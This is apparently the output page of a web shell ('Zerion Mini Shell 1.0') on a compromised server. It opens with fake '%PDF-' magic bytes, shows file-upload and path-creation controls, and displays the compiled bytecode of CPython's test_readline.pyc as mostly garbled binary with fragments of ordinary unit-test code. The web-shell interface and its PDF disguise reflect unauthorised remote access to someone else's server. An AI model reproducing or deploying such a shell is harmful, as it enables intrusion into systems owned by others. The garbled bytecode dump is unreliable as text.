%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_readline.pyc

ó
Nêáac@s¥dZddlZddlZddlmZmZddlmZedƒZdej	fd„ƒYZ
dej	fd	„ƒYZd
„Ze
dkr¡eƒndS(s:
Very minimal unittests for parts of the readline module.
iÿÿÿÿN(trun_unittestt
import_module(tassert_python_oktreadlinetTestHistoryManipulationcBs2eZdZejeedƒdƒd„ƒZRS(sÙThese tests were added to check that the libedit emulation on OSX and
    the "real" readline have the same interface for history manipulation.
    That's why the tests cover only a small subset of the interface.
    t
clear_historysXThe history update test cannot be run because the clear_history method is not available.cCs9tjƒtjdƒtjdƒ|jtjdƒdƒ|jtjdƒdƒ|jtjdƒdƒtjddƒ|jtjdƒdƒ|jtjdƒdƒ|jtjdƒdƒ|jtjƒdƒtjdƒ|jtjdƒdƒ|jtjdƒdƒ|jtjƒdƒdS(Ns
first linessecond lineiiis
replaced line(	RRtadd_historytassertEqualtget_history_itemtNonetreplace_history_itemtget_current_history_lengthtremove_history_item(tself((s./usr/local/lib/python2.7/test/test_readline.pyttestHistoryUpdatess



(t__name__t
__module__t__doc__tunittestt
skipUnlessthasattrRR(((s./usr/local/lib/python2.7/test/test_readline.pyRstTestReadlinecBs;eZejejdko'dejkdƒd„ƒZRS(itlibedits%not supported in this library versioncCs2tddddƒ\}}}|j|dƒdS(Ns-csimport readlinetTERMsxterm-256colort(RR(R
trctstdouttstderr((s./usr/local/lib/python2.7/test/test_readline.pyt	test_init/s(RRRtskipIfRt_READLINE_VERSIONRR(((s./usr/local/lib/python2.7/test/test_readline.pyR-scCstttƒdS(N(RRR(((s./usr/local/lib/python2.7/test/test_readline.pyt	test_main;st__main__(RtosRttest.test_supportRRttest.script_helperRRtTestCaseRRRR(((s./usr/local/lib/python2.7/test/test_readline.pyt<module>s!	

Zerion Mini Shell 1.0